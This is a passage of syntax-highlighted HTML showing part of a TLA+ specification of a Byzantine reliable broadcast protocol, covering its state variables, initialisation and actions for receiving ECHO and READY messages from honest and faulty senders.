&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;210&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;sent_echo&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="err"&gt;∪&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;211&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;VExt&lt;/span&gt; &lt;span class="err"&gt;∪&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;212&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;sent_abort&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;BOOLEAN&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;213&lt;/span&gt;&lt;span class="cl"&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Per&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt; &lt;span class="n"&gt;receive&lt;/span&gt; &lt;span class="n"&gt;tracking&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;214&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;rcvd_echo&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;SUBSET&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;P&lt;/span&gt; &lt;span class="err"&gt;×&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;215&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;rcvd_ready&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;SUBSET&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;P&lt;/span&gt; &lt;span class="err"&gt;×&lt;/span&gt; &lt;span class="n"&gt;VExt&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;216&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;rcvd_abort&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;SUBSET&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;217&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;VExt&lt;/span&gt; &lt;span class="err"&gt;∪&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;218&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;219&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;220&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Protocol&lt;/span&gt; &lt;span class="n"&gt;Initialization&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;221&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;222&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Init&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;223&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;224&lt;/span&gt;&lt;span class="cl"&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="n"&gt;broadcast&lt;/span&gt; &lt;span class="n"&gt;state&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;225&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;sent_echo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="err"&gt;↦&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;226&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="err"&gt;↦&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;227&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;sent_abort&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="err"&gt;↦&lt;/span&gt; &lt;span class="n"&gt;FALSE&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;228&lt;/span&gt;&lt;span class="cl"&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Per&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt; &lt;span class="n"&gt;receive&lt;/span&gt; &lt;span class="n"&gt;tracking&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;229&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;rcvd_echo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="err"&gt;↦&lt;/span&gt; &lt;span class="p"&gt;{}]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;230&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;rcvd_ready&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="err"&gt;↦&lt;/span&gt; &lt;span class="p"&gt;{}]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;231&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;rcvd_abort&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="err"&gt;↦&lt;/span&gt; &lt;span class="p"&gt;{}]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;232&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="err"&gt;↦&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;233&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;234&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;235&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Message&lt;/span&gt; &lt;span class="n"&gt;Reception&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;236&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;237&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;238&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Byzantine&lt;/span&gt; &lt;span class="n"&gt;equivocation&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;faulty&lt;/span&gt; &lt;span class="n"&gt;senders&lt;/span&gt; &lt;span class="n"&gt;send&lt;/span&gt; &lt;span class="n"&gt;different&lt;/span&gt; &lt;span class="n"&gt;values&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;different&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;239&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;recipients&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;Modeled&lt;/span&gt; &lt;span class="n"&gt;via&lt;/span&gt; &lt;span class="n"&gt;nondeterministic&lt;/span&gt; &lt;span class="n"&gt;receive&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;faulty&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;constrained&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;240&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;by&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;once&lt;/span&gt; &lt;span class="n"&gt;per&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="n"&gt;senders&lt;/span&gt; &lt;span class="n"&gt;broadcast&lt;/span&gt; &lt;span class="n"&gt;uniformly&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;241&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;242&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;243&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Receive&lt;/span&gt; &lt;span class="n"&gt;ECHO&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;an&lt;/span&gt; &lt;span class="n"&gt;honest&lt;/span&gt; &lt;span class="n"&gt;sender&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;must&lt;/span&gt; &lt;span class="n"&gt;match&lt;/span&gt; &lt;span class="n"&gt;what&lt;/span&gt; &lt;span class="n"&gt;they&lt;/span&gt; &lt;span class="n"&gt;broadcast&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;244&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ReceiveEchoFromHonest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;245&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;246&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;247&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="err"&gt;¬∃&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;rcvd_echo&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;248&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;sent_echo&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="err"&gt;≠&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;249&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;rcvd_echo&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; = [rcvd_echo EXCEPT ![p] = @ ∪ {⟨h, sent_echo[h]⟩}]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;250&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;UNCHANGED&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;send_vars&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_ready&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_abort&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;251&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;252&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Receive&lt;/span&gt; &lt;span class="n"&gt;ECHO&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;faulty&lt;/span&gt; &lt;span class="n"&gt;sender&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;limited&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;interesting&lt;/span&gt; &lt;span class="n"&gt;values&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;253&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ReceiveEchoFromFaulty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;254&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;255&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Faulty&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;256&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="err"&gt;¬∃&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;rcvd_echo&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;257&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="err"&gt;∃&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;InterestingEchoValues&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;258&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;rcvd_echo&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; = [rcvd_echo EXCEPT ![p] = @ ∪ {⟨f, v⟩}]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;259&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;UNCHANGED&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;send_vars&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_ready&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_abort&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;260&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;261&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ReceiveEcho&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;262&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="err"&gt;∃&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ReceiveEchoFromHonest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;263&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="err"&gt;∃&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Faulty&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ReceiveEchoFromFaulty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;264&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;265&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Receive&lt;/span&gt; &lt;span class="n"&gt;READY&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;an&lt;/span&gt; &lt;span class="n"&gt;honest&lt;/span&gt; &lt;span class="n"&gt;sender&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="err"&gt;⊥&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;266&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ReceiveReadyFromHonest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;267&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
